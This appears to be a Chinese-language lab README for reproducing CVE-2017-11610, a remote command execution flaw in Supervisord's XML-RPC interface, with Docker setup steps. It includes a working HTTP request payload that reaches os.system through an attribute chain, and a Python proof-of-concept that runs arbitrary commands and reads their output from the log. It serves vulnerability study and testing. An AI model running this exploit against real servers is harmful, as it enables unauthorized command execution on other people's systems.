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supervisor/CVE-2017-11610/README.zh-cn.md
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supervisor/CVE-2017-11610/README.zh-cn.md
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# Supervisord XML-RPC 远程命令执行漏洞(CVE-2017-11610)
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Supervisord 是一个用于 Unix 类操作系统的进程控制系统。
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在 Supervisord 3.0.1,3.1.4,3.2.4,3.3.3 版本之前,在其 XML-RPC 接口中存在一个远程代码执行漏洞,攻击者可以通过特制的 XML-RPC 请求执行任意命令。
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参考链接:
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- https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
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- https://blogs.securiteam.com/index.php/archives/3348
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- https://github.com/Supervisor/supervisor/commit/90c5df80777bfec03d041740465027f83d22e27b
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## 环境搭建
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执行如下命令启动 Supervisord 3.3.2:
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```
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docker compose build
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docker compose up -d
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```
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环境启动后,访问`http://your-ip:9001`即可查看Supervisord的页面。
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## 漏洞复现
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发送如下请求,即可执行任意命令:
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```
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POST /RPC2 HTTP/1.1
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Host: localhost
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 213
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<?xml version="1.0"?>
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<methodCall>
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<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
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<params>
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<param>
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<string>touch /tmp/success</string>
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</param>
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</params>
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</methodCall>
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```
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### 关于直接回显的POC
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@Ricter 在微博上提出的一个思路,甚是有效,就是将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。
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写了个简单的POC [poc.py](poc.py):
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```python
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#!/usr/bin/env python3
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import xmlrpc.client
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import sys
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target = sys.argv[1]
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command = sys.argv[2]
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with xmlrpc.client.ServerProxy(target) as proxy:
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old = getattr(proxy, 'supervisor.readLog')(0,0)
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logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
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getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
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result = getattr(proxy, 'supervisor.readLog')(0,0)
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print(result[len(old):])
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```
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使用Python3执行并获取结果:`./poc.py "http://your-ip:9001/RPC2" "command"`:
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